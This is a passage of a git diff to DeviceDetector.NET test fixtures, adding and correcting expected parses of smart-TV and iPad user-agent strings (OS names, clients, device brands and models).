[FBAN/FBIOS;FBAV/190.0.0.67.93;FBBV/125048840;FBDV/iPad3,1;FBMD/iPad;FBSN/iPhone OS;FBSV/9.3.5;FBSS/2;FBCR/;FBID/tablet;FBLC/en_US;FBOP/5;FBRV/0]' + os: + name: iOS + version: 9.3.5 + platform: "" + client: + type: mobile app + name: Facebook + version: 190.0.0.67.93 + device: + type: tablet + brand: Apple + model: iPad 3 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 9_3_6 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G37 [FBAN/FBIOS;FBAV/168.0.0.57.90;FBBV/103647182;FBDV/iPad3,2;FBMD/iPad;FBSN/iPhone OS;FBSV/9.3.6;FBSS/2;FBCR/Verizon;FBID/tablet;FBLC/en_US;FBOP/5;FBRV/0]' + os: + name: iOS + version: 9.3.6 + platform: "" + client: + type: mobile app + name: Facebook + version: 168.0.0.57.90 + device: + type: tablet + brand: Apple + model: iPad 3 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 9_3_6 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G37 [FBAN/FBIOS;FBAV/174.0.0.48.98;FBBV/110921384;FBDV/iPad3,3;FBMD/iPad;FBSN/iPhone OS;FBSV/9.3.6;FBSS/2;FBCR/TELIA;FBID/tablet;FBLC/da_DK;FBOP/5;FBRV/0]' + os: + name: iOS + version: 9.3.6 + platform: "" + client: + type: mobile app + name: Facebook + version: 174.0.0.48.98 + device: + type: tablet + brand: Apple + model: iPad 3 + os_family: iOS + browser_family: Unknown +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G36 Instagram 75.0.0.23.99 (iPad2,5; iPhone OS 9_3_5; nl_NL; nl-NL; scale=2.00; gamut=normal; 640x960; 135054585) + os: + name: iOS + version: 9.3.5 + platform: "" + client: + type: mobile app + name: Instagram App + version: 75.0.0.23.99 + device: + type: tablet + brand: Apple + model: iPad Mini + os_family: iOS + browser_family: Unknown +- + user_agent: Mozilla/5.0 (iPad; U; CPU OS 7 like Mac OS X; iPad2,6) AppleWebKit/534.46 (KHTML, like Gecko) UCBrowser/2.4.0.367 U3/1 Safari/7543.48.3 + os: + name: iOS + version: "7" + platform: "" + client: + type: browser + name: UC Browser + version: 2.4.0.367 + engine: WebKit + engine_version: "534.46" + device: + type: tablet + brand: Apple + model: iPad Mini + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G36 [FBAN/MessengerForiOS;FBAV/147.0.0.50.87;FBBV/84235609;FBDV/iPad2,7;FBMD/iPad;FBSN/iPhone OS;FBSV/9.3.5;FBSS/1;FBCR/MEO;FBID/tablet;FBLC/pt_PT;FBOP/5;FBRV/0]' + os: + name: iOS + version: 9.3.5 + platform: "" + client: + type: mobile app + name: Facebook Messenger + version: 147.0.0.50.87 + device: + type: tablet + brand: Apple + model: iPad Mini + os_family: iOS + browser_family: Unknown +- + user_agent: Mozilla/5.0 (iPad; U; CPU OS 6_1 like Mac OS X; ru; iPad2,2) AppleWebKit/534.46 (KHTML, like Gecko) UCBrowser/2.4.0.367 U3/1 Safari/7543.48.3 + os: + name: iOS + version: "6.1" + platform: "" + client: + type: browser + name: UC Browser + version: 2.4.0.367 + engine: WebKit + engine_version: "534.46" + device: + type: tablet + brand: Apple + model: iPad 2 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; U; CPU iPhone OS 5_1 like Mac OS X; en_US) AppleWebKit (KHTML, like Gecko) Mobile [FBAN/FBForIPhone;FBAV/4.1;FBBV/4100.0;FBDV/iPad2,3;FBMD/iPad;FBSN/iPhone OS;FBSV/5.1;FBSS/1; FBCR/' + os: + name: iOS + version: "5.1" + platform: "" + client: + type: mobile app + name: Facebook + version: "4.1" + device: + type: tablet + brand: Apple + model: iPad 2 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G36 [FBAN/FBIOS;FBAV/168.0.0.57.90;FBBV/103647182;FBDV/iPad2,4;FBMD/iPad;FBSN/iPhone OS;FBSV/9.3.5;FBSS/1;FBCR/;FBID/tablet;FBLC/en_GB;FBOP/5;FBRV/0]' + os: + name: iOS + version: 9.3.5 + platform: "" + client: + type: mobile app + name: Facebook + version: 168.0.0.57.90 + device: + type: tablet + brand: Apple + model: iPad 2 + os_family: iOS + browser_family: Unknown +- + user_agent: Mozilla/5.0(iPad; U;CPU OS 5_1 like Mac OS X; en-us; iPad1,1) AppleWebKit/534.46 (KHTML, like Gecko) UCBrowser/2.2.1.335 U3/1 Safari/7543.48.3 + os: + name: iOS + version: "5.1" + platform: "" + client: + type: browser + name: UC Browser + version: 2.2.1.335 + engine: WebKit + engine_version: "534.46" + device: + type: tablet + brand: Apple + model: iPad + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU iPad OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Mobile/14F89 [FBAN/MessengerForiOS;FBAV/142.0.0.38.63;FBBV/77803202;FBDV/iPad8,2;FBMD/iPad;FBSN/iOS;FBSV/10.3.2;FBSS/2;FBCR/NOS;FBID/phone;FBLC/jv_ID;FBOP/5;FBRV/77803202]' + os: + name: iOS + version: 10.3.2 + platform: "" + client: + type: mobile app + name: Facebook Messenger + version: 142.0.0.38.63 + device: + type: tablet + brand: Apple + model: iPad Pro 3 11.0 WiFi + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU iPad OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Mobile/14F89 [FBAN/MessengerForiOS;FBAV/142.0.0.38.63;FBBV/77803202;FBDV/iPad8,4;FBMD/iPad;FBSN/iOS;FBSV/10.3.2;FBSS/2;FBCR/NOS;FBID/phone;FBLC/jv_ID;FBOP/5;FBRV/77803202]' + os: + name: iOS + version: 10.3.2 + platform: "" + client: + type: mobile app + name: Facebook Messenger + version: 142.0.0.38.63 + device: + type: tablet + brand: Apple + model: iPad Pro 3 11.0 + os_family: iOS + browser_family: Unknown +- + user_agent: TuneIn Radio/25.5.1; iPad7,12; iPadOS/16.3.1 + os: + name: iPadOS + version: 16.3.1 + platform: "" + client: + type: mobile app + name: TuneIn Radio + version: 25.5.1 + device: + type: tablet + brand: Apple + model: iPad 7 10.2 + os_family: iOS + browser_family: Unknown +- + user_agent: TuneIn Radio/27.5.0; iPad6,8; iPadOS/16.7.5 + os: + name: iPadOS + version: 16.7.5 + platform: "" + client: + type: mobile app + name: TuneIn Radio + version: 27.5.0 + device: + type: tablet + brand: Apple + model: iPad Pro 12.9 + os_family: iOS + browser_family: Unknown +- + user_agent: Mozilla/5.0 (iPad; CPU OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.17.638 V1_IPH_SQ_9.0.17_1_APP_A Pixel/1620 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/1000 AppId/537203253 Core/WKWebView Device/Apple(iPad 9th Gen (Cellular)) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iPadOS + version: 17.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: tablet + brand: Apple + model: iPad 9 10.2" + os_family: iOS + browser_family: Safari diff --git a/DeviceDetector.NET.Tests/fixtures/tv-1.yml b/DeviceDetector.NET.Tests/fixtures/tv-1.yml index 6006b6f..523eeb8 100644 --- a/DeviceDetector.NET.Tests/fixtures/tv-1.yml +++ b/DeviceDetector.NET.Tests/fixtures/tv-1.yml @@ -1846,7 +1846,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 4.4.4; Yuno Shell SmartTV) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.90 Safari/537.36 os: - name: Android + name: Android TV version: 4.4.4 platform: "" client: @@ -2604,7 +2604,7 @@ - user_agent: Mozilla/5.0 (Linux; U; Android 7.1.2; en-US; MyGica HDR Smart TV Box Build/V002S901_20171221) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.4.8.1012 Mobile Safari/537.36 os: - name: Android + name: Android TV version: 7.1.2 platform: "" client: @@ -3450,7 +3450,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 4.4.4; Smart TV Build/20200715_232528) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Safari/537.36 os: - name: Android + name: Android TV version: 4.4.4 platform: "" client: @@ -4506,7 +4506,7 @@ device: type: tv brand: Pioneer - model: "" + model: 43D1202 os_family: GNU/Linux browser_family: Chrome - @@ -5059,7 +5059,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 9; SMART_TV Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Safari/537.36 os: - name: Android + name: Android TV version: "9" platform: "" client: @@ -5095,7 +5095,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 9; SmartTV Build/PPR2.180905.006.A1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.158 Safari/537.36 os: - name: Android + name: Android TV version: "9" platform: "" client: @@ -5131,7 +5131,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 7.1.1; ATMACA_SmartTV) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.185 Mobile Safari/537.36 os: - name: Android + name: Android TV version: 7.1.1 platform: "" client: @@ -6065,7 +6065,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 7.1.1; VESTA_SMART_TV Build/NMF26Q) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36 os: - name: Android + name: Android TV version: 7.1.1 platform: "" client: @@ -6677,8 +6677,8 @@ - user_agent: Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux armv7i;CE-HTML/1.0;U;en), Chrome/42.0.2311.152 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_nt563/V8-NT563LA-LF1V140 (KALLEY,43D1800,wireless) os: - name: GNU/Linux - version: "" + name: Whale OS + version: "1" platform: ARM client: type: browser @@ -6690,7 +6690,7 @@ type: tv brand: Kalley model: 43D1800 - os_family: GNU/Linux + os_family: Other Smart TV browser_family: Chrome - user_agent: Mozilla/5.0 (Linux; Android 4.4.2; NEO-X8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 @@ -8349,7 +8349,7 @@ platform: "" client: type: mobile app - name: Microsoft Bing Search + name: Microsoft Bing version: 22.0.400111302 device: type: tv @@ -9455,7 +9455,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 9; Smart_TV_BQ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537.36 os: - name: Android + name: Android TV version: "9" platform: "" client: diff --git a/DeviceDetector.NET.Tests/fixtures/tv-2.yml b/DeviceDetector.NET.Tests/fixtures/tv-2.yml index cbda370..5eeebd3 100644 --- a/DeviceDetector.NET.Tests/fixtures/tv-2.yml +++ b/DeviceDetector.NET.Tests/fixtures/tv-2.yml @@ -6833,7 +6833,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 11; ONVO SMART TV) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Safari/537.36 os: - name: Android + name: Android TV version: "11" platform: "" client: @@ -6887,7 +6887,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 11; SABA SMART TV) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Safari/537.36 os: - name: Android + name: Android TV version: "11" platform: "" client: @@ -7049,7 +7049,7 @@ - user_agent: com.tcl.browser/660067 (Linux; U; Android 9; tr_TR; HKC 4K AI Smart TV; Build/PTO5.220304.001; Cronet/114.0.5735.33) os: - name: Android + name: Android TV version: "9" platform: "" client: @@ -7067,7 +7067,7 @@ - user_agent: Dalvik/2.1.0 (Linux; U; Android 11; Fobem 4K SMART TV Build/RTM6.230109.076) os: - name: Android + name: Android TV version: "11" platform: "" client: @@ -8957,7 +8957,7 @@ - user_agent: Mozilla/5.0 (Linux; Android 4.4.2; 4ife 4K Smart TV Box Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 os: - name: Android + name: Android TV version: 4.4.2 platform: "" client: diff --git a/DeviceDetector.NET.Tests/fixtures/tv-3.yml b/DeviceDetector.NET.Tests/fixtures/tv-3.yml index cf855df..5180b88 100644 --- a/DeviceDetector.NET.Tests/fixtures/tv-3.yml +++ b/DeviceDetector.NET.Tests/fixtures/tv-3.yml @@ -2609,3 +2609,475 @@ model: X92 os_family: Android browser_family: Android Browser +- + user_agent: Dalvik/2.1.0 (Linux; U; Android 11; VEON 4K Smart TV Build/RTT2.220103.001) + os: + name: Android TV + version: "11" + platform: "" + client: + type: browser + name: Android Browser + version: "" + engine: WebKit + engine_version: "" + device: + type: tv + brand: VEON + model: 4K Smart TV + os_family: Android + browser_family: Android Browser +- + user_agent: Dalvik/2.1.0 (Linux; U; Android 9; Panavox Android TV Build/PTO4.210815.001) + os: + name: Android TV + version: "9" + platform: "" + client: + type: browser + name: Android Browser + version: "" + engine: WebKit + engine_version: "" + device: + type: tv + brand: Panavox + model: Smart TV + os_family: Android + browser_family: Android Browser +- + user_agent: Mozilla/5.0 (Linux; Android 9; Hyundai 2K TV Build/PTO7.210317.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.91 Mobile Safari/537.36 + os: + name: Android + version: "9" + platform: "" + client: + type: browser + name: TV Bro + version: "" + engine: Blink + engine_version: 107.0.5304.91 + device: + type: tv + brand: Hyundai + model: 2K TV + os_family: Android + browser_family: Chrome + headers: + http-x-requested-with: com.phlox.tvwebbrowser +- + user_agent: Mozilla/5.0 (Linux; Android 6.0; TV348_DVB Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/48.0.2542.0 Safari/537.36 + os: + name: Android + version: "6.0" + platform: "" + client: + type: browser + name: Chrome Webview + version: 48.0.2542.0 + engine: Blink + engine_version: 48.0.2542.0 + device: + type: tv + brand: UD + model: TV348 DVB + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 8.0.0; TV358DVB Build/OPR5.170623.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/62.0.3202.73 Safari/537.36 + os: + name: Android + version: 8.0.0 + platform: "" + client: + type: browser + name: Chrome Webview + version: 62.0.3202.73 + engine: Blink + engine_version: 62.0.3202.73 + device: + type: tv + brand: UD + model: TV358 DVB + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 6.0; TV348_ISDB Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/48.0.2542.0 Safari/537.36 + os: + name: Android + version: "6.0" + platform: "" + client: + type: browser + name: Chrome Webview + version: 48.0.2542.0 + engine: Blink + engine_version: 48.0.2542.0 + device: + type: tv + brand: UD + model: TV348 ISDB + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 6.0; tv001 on rtd289x Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Safari/537.36 + os: + name: Android + version: "6.0" + platform: "" + client: + type: browser + name: Chrome Webview + version: 52.0.2743.100 + engine: Blink + engine_version: 52.0.2743.100 + device: + type: tv + brand: "" + model: "" + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 6.0; net tv.plus Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.119 Safari/537.36 + os: + name: Android + version: "6.0" + platform: "" + client: + type: browser + name: Chrome Webview + version: 44.0.2403.119 + engine: Blink + engine_version: 44.0.2403.119 + device: + type: tv + brand: "" + model: "" + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11.0; Orange TV Box Build/QTG1.200615.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/102.0.5005.22 Mobile Safari/537.36 + os: + name: Android + version: "11.0" + platform: "" + client: + type: browser + name: Chrome Webview + version: 102.0.5005.22 + engine: Blink + engine_version: 102.0.5005.22 + device: + type: tv + brand: Orange + model: TV Box + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 12; O2 TV Box Build/QTT2.200720.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/101.0.4951.15 Mobile Safari/537.36 + os: + name: Android + version: "12" + platform: "" + client: + type: browser + name: Chrome Webview + version: 101.0.4951.15 + engine: Blink + engine_version: 101.0.4951.15 + device: + type: tv + brand: O2 + model: TV Box + os_family: Android + browser_family: Chrome +- + user_agent: Dalvik/2.1.0 (Linux; U; Android 9; TVB-100 Build/PI) + os: + name: Android + version: "9" + platform: "" + client: + type: browser + name: Android Browser + version: "" + engine: WebKit + engine_version: "" + device: + type: tv + brand: Telkom + model: TVB-100 + os_family: Android + browser_family: Android Browser +- + user_agent: 'Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.0.2 Mobile/9A5248d Safari/6533.18.5#2.0#TCL/RCA-LA-RT41KB-S1/28/tclwebkit1.0.2/1920*1080(551908975,null;231834470,000)' + os: + name: Android + version: "9" + platform: "" + client: + type: browser + name: BrowseHere + version: "" + engine: WebKit + engine_version: "534.46" + device: + type: tv + brand: RCA Tablets + model: "" + os_family: Android + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.0.2 Mobile/9A5248d Safari/6533.18.5#2.0#TCL/THOM-EU-RT2841-S1/28/tclwebkit1.0.2/1920*1080(542703859,null;222510156,f9ee107e6f6243db988aa25378bf21ca)' + os: + name: Android + version: "9" + platform: "" + client: + type: browser + name: BrowseHere + version: "" + engine: WebKit + engine_version: "534.46" + device: + type: tv + brand: Thomson + model: "" + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 OPR/46.0.2207.0 OMI/4.20.5.61.LIMA.179 Model/Vestel-MB181 VSTVB MB100 FVC/5.0 (BUSH; MB181; ) SmartTvA/3.0.0 + os: + name: GNU/Linux + version: "" + platform: "" + client: + type: browser + name: Opera Devices + version: 4.20.5.61 + engine: Blink + engine_version: 77.0.3865.120 + device: + type: tv + brand: Bush + model: "" + os_family: GNU/Linux + browser_family: Opera +- + user_agent: Mozilla/5.0 (Linux ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2207.0 OMI/4.9.0.237.DOM3-OPT.253 Model/Vestel-MB211 VSTVB MB200 FVC/2.0 (NORDMENDE; MB211; ) SmartTvA/3.0.0 + os: + name: GNU/Linux + version: "" + platform: "" + client: + type: browser + name: Opera Devices + version: 4.9.0.237 + engine: Blink + engine_version: 53.0.2785.143 + device: + type: tv + brand: Nordmende + model: "" + os_family: GNU/Linux + browser_family: Opera +- + user_agent: Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2207.0 OMI/4.9.0.237.DOM3-OPT.241 Model/Vestel-MB110 VSTVB MB100 HbbTV/1.2.1 (; FINLUX; MB110; 3.26.12.0; _TV_G7_2017;) SmartTvA/3.0.0 + os: + name: GNU/Linux + version: "" + platform: ARM + client: + type: browser + name: Opera Devices + version: 4.9.0.237 + engine: Blink + engine_version: 53.0.2785.143 + device: + type: tv + brand: Finlux + model: Smart TV (2017) + os_family: GNU/Linux + browser_family: Opera +- + user_agent: Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2207.0 OMI/4.9.0.237.DOM3-OPT.243 Model/Vestel-MB211 VSTVB MB200 FVC/2.0 (LINSAR; MB211; ) HbbTV/1.4.1 (; LINSAR; MB211; 0.69.12.1; _TV_NT72563_2017;) SmartTvA/3.0.0 + os: + name: GNU/Linux + version: "" + platform: ARM + client: + type: browser + name: Opera Devices + version: 4.9.0.237 + engine: Blink + engine_version: 53.0.2785.143 + device: + type: tv + brand: Linsar + model: Smart TV (2017) + os_family: GNU/Linux + browser_family: Opera +- + user_agent: Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2207.0 OMI/4.9.0.237.DOM3-OPT.235 Model/Vestel-MB130 VSTVB MB100 HbbTV/1.2.1 (; HITACHI; MB130; 3.62.35.1; _TV_G10_2017;) SmartTvA/3.0.0 + os: + name: GNU/Linux + version: "" + platform: ARM + client: + type: browser + name: Opera Devices + version: 4.9.0.237 + engine: Blink + engine_version: 53.0.2785.143 + device: + type: tv + brand: Hitachi + model: Smart TV (2017) + os_family: GNU/Linux + browser_family: Opera +- + user_agent: Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2128.0 OMI/4.8.0.66.Driver2.33 , AOC_TV/012.002.049.001 (AOC, LE32S5970-30, wireless) CE-HTML/1.0 NETTV/4.5.0 SignOn/2.0 SmartTvA/4.0.0 en + os: + name: GNU/Linux + version: "" + platform: ARM + client: + type: browser + name: Opera Devices + version: 4.8.0.66 + engine: Blink + engine_version: 49.0.2623.112 + device: + type: tv + brand: AOC + model: LE32S5970-30 + os_family: GNU/Linux + browser_family: Opera +- + user_agent: Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2128.0 OMI/4.8.0.66.Driver2.33 , AOC_TV/012.002.067.001 (AOC, LE43S5970s-28, wireless) CE-HTML/1.0 NETTV/4.5.0 SignOn/2.0 SmartTvA/4.0.0 en + os: + name: GNU/Linux + version: "" + platform: ARM + client: + type: browser + name: Opera Devices + version: 4.8.0.66 + engine: Blink + engine_version: 49.0.2623.112 + device: + type: tv + brand: AOC + model: LE43S5970s-28 + os_family: GNU/Linux + browser_family: Opera +- + user_agent: Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux armv7i;CE-HTML/1.0;U;en), Chrome/42.0.2311.152 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_nt563/V8-NT563LA-LF1V140 (DAEWOO,32D1280,wireless) + os: + name: Whale OS + version: "1" + platform: ARM + client: + type: browser + name: T-Browser + version: "2.0" + engine: Blink + engine_version: 42.0.2311.152 + device: + type: tv + brand: Daewoo + model: 32D1280 + os_family: Other Smart TV + browser_family: Chrome +- + user_agent: Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux;CE-HTML/1.0;U;en), Chrome/49.0.2623.87 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_UNKONWN/V8-S586T05-LF1V020 (HITACHI,50P65US,wired) + os: + name: Whale OS + version: "1" + platform: "" + client: + type: browser + name: T-Browser + version: "2.0" + engine: Blink + engine_version: 49.0.2623.87 + device: + type: tv + brand: Hitachi + model: 50P65US + os_family: Other Smart TV + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 5.1.1; Cyclone X8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Safari/537.36 + os: + name: Android + version: 5.1.1 + platform: "" + client: + type: browser + name: Chrome + version: 95.0.4638.74 + engine: Blink + engine_version: 95.0.4638.74 + device: + type: tv + brand: Sumvision + model: Cyclone X8 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 9; AFTALMO) AppleWebKit/537.36 (KHTML, like Gecko) Silk/114.3.11 like Chrome/114.0.5735.220 Safari/537.36 + os: + name: Fire OS + version: "7" + platform: "" + client: + type: browser + name: Mobile Silk + version: 114.3.11 + engine: Blink + engine_version: 114.0.5735.220 + device: + type: tv + brand: Amazon + model: Fire TV 2K (2022) + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 9; AFTBOXE1) AppleWebKit/537.36 (KHTML, like Gecko) Silk/118.4.2 like Chrome/118.0.5993.155 Safari/537.36 + os: + name: Fire OS + version: "7" + platform: "" + client: + type: browser + name: Mobile Silk + version: 118.4.2 + engine: Blink + engine_version: 118.0.5993.155 + device: + type: tv + brand: Toshiba + model: 65UF3D63DA + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36 + headers: + http-x-requested-with: com.qjy.browser + os: + name: Windows + version: "10" + platform: x64 + client: + type: browser + name: QJY TV Browser + version: "" + engine: Blink + engine_version: 78.0.3904.87 + device: + type: tv + brand: "" + model: "" + os_family: Windows + browser_family: Chrome diff --git a/DeviceDetector.NET.Tests/fixtures/tv.yml b/DeviceDetector.NET.Tests/fixtures/tv.yml index 0b13857..0939ae0 100644 --- a/DeviceDetector.NET.Tests/fixtures/tv.yml +++ b/DeviceDetector.NET.Tests/fixtures/tv.yml @@ -1662,7 +1662,7 @@ - user_agent: Mozilla/5.0 (Linux; U; Android 4.2.2; cs-cz; EVOLVEO Smart TV box Q4 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 Maxthon/4.1.4.2000 os: - name: Android + name: Android TV version: 4.2.2 platform: "" client: @@ -4326,13 +4326,18 @@ - user_agent: Mozilla/4.0 (compatible; Gecko/20041115) Maple 5.0.0 Navi os: [ ] - client: null + client: + type: browser + name: Firefox + version: "" + engine: Gecko + engine_version: "" device: type: tv brand: Samsung model: "" os_family: Unknown - browser_family: Unknown + browser_family: Firefox - user_agent: Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; GT-B9150 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 os: @@ -6703,74 +6708,74 @@ - user_agent: Zeasn/2.0 Mozilla/5.0 (Linux;CE-HTML/1.0;U;en), Chrome/49.0.2623.87 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_UNKONWN/V8-NT563LA-LF1V250 (WESTPOINT,TETS-4919SM,wireless) os: - name: GNU/Linux - version: "" + name: Whale OS + version: "1" platform: "" client: type: browser name: T-Browser version: "2.0" engine: Blink - engine_version: "49.0.2623.87" + engine_version: 49.0.2623.87 device: type: tv brand: Westpoint model: TETS-4919SM - os_family: GNU/Linux + os_family: Other Smart TV browser_family: Chrome - user_agent: Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux;CE-HTML/1.0;U;en), Chrome/42.0.2311.152 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_nt563/V8-NT563LA-LF1V286 (KALLEY,55D1240,wireless) os: - name: GNU/Linux - version: "" + name: Whale OS + version: "1" platform: "" client: type: browser name: T-Browser version: "2.0" engine: Blink - engine_version: "42.0.2311.152" + engine_version: 42.0.2311.152 device: type: tv brand: Kalley model: 55D1240 - os_family: GNU/Linux + os_family: Other Smart TV browser_family: Chrome - user_agent: Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux;CE-HTML/1.0;U;en), Chrome/49.0.2623.87 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_UNKONWN/V8-N563T01-LF1V196 (TCL,43S62FS,wired) os: - name: GNU/Linux - version: "" + name: Whale OS + version: "1" platform: "" client: type: browser name: T-Browser version: "2.0" engine: Blink - engine_version: "49.0.2623.87" + engine_version: 49.0.2623.87 device: type: tv brand: TCL model: 43S62FS - os_family: GNU/Linux + os_family: Other Smart TV browser_family: Chrome - user_agent: Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux;CE-HTML/1.0;U;en), Chrome/42.0.2311.152 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_nt563/V8-NT563NA-LF1V278 (JVC,32D1290,wireless) os: - name: GNU/Linux - version: "" + name: Whale OS + version: "1" platform: "" client: type: browser name: T-Browser version: "2.0" engine: Blink - engine_version: "42.0.2311.152" + engine_version: 42.0.2311.152 device: type: tv brand: JVC model: 32D1290 - os_family: GNU/Linux + os_family: Other Smart TV browser_family: Chrome - user_agent: Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.175 VSTVB MB100 HbbTV/1.2.1 (; JVC; MB110; 2.21.7.0; ;) SmartTvA/3.0.0 @@ -7027,56 +7032,56 @@ - user_agent: Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux 